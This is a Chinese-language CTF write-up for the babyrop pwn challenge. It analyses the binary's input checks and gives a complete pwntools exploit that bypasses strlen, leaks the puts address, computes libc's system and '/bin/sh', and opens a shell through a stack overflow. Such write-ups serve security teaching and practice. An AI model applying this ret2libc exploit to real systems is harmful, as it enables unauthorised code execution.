[OGeek2019]babyrop
使用checksec 查看: 只开启了站RELRO和栈不可执行。
放进IDA中分析:
sub_80486BB(); :初始化的,没啥用。fd = open("/dev/urandom", 0); if ( fd > 0 ) read(fd, &buf, 4u); :获取一个随机数给到buf
sub_804871F() :
v6 = read(0, buf, 0x20u); :从键盘读入数据赋值给buf。v1 = strlen(buf) :获取buf的长赋值给v1。if ( strncmp(buf, &s, v1) ) exit(0); :比较buf和s是否相同,比较位数是v1,不同则结束运行。return v5; :返回一个v5。
sub_80487D0(char a1) :
- 传入参数是
sub_804871F() 的返回值。 if ( a1 == 0x7F ) :判断a1 ,做出不同长度的输入。
题目思路
步骤解析
通过绕过strlen() 使得sub_804871F() 的返回值v5 为\xFF
接着泄露puts() 的地址
获取到地址之后就可以计算system() 和/bin/bash
再次利用栈溢出可getshell
完整exp
from pwn import *
r = remote("node4.buuoj.cn",26694)
elf = ELF("../buu/[OGeek2019]babyrop")
libc = ELF("../buu/ubuntu16(32).so")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))
r.sendline(payload)
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()
|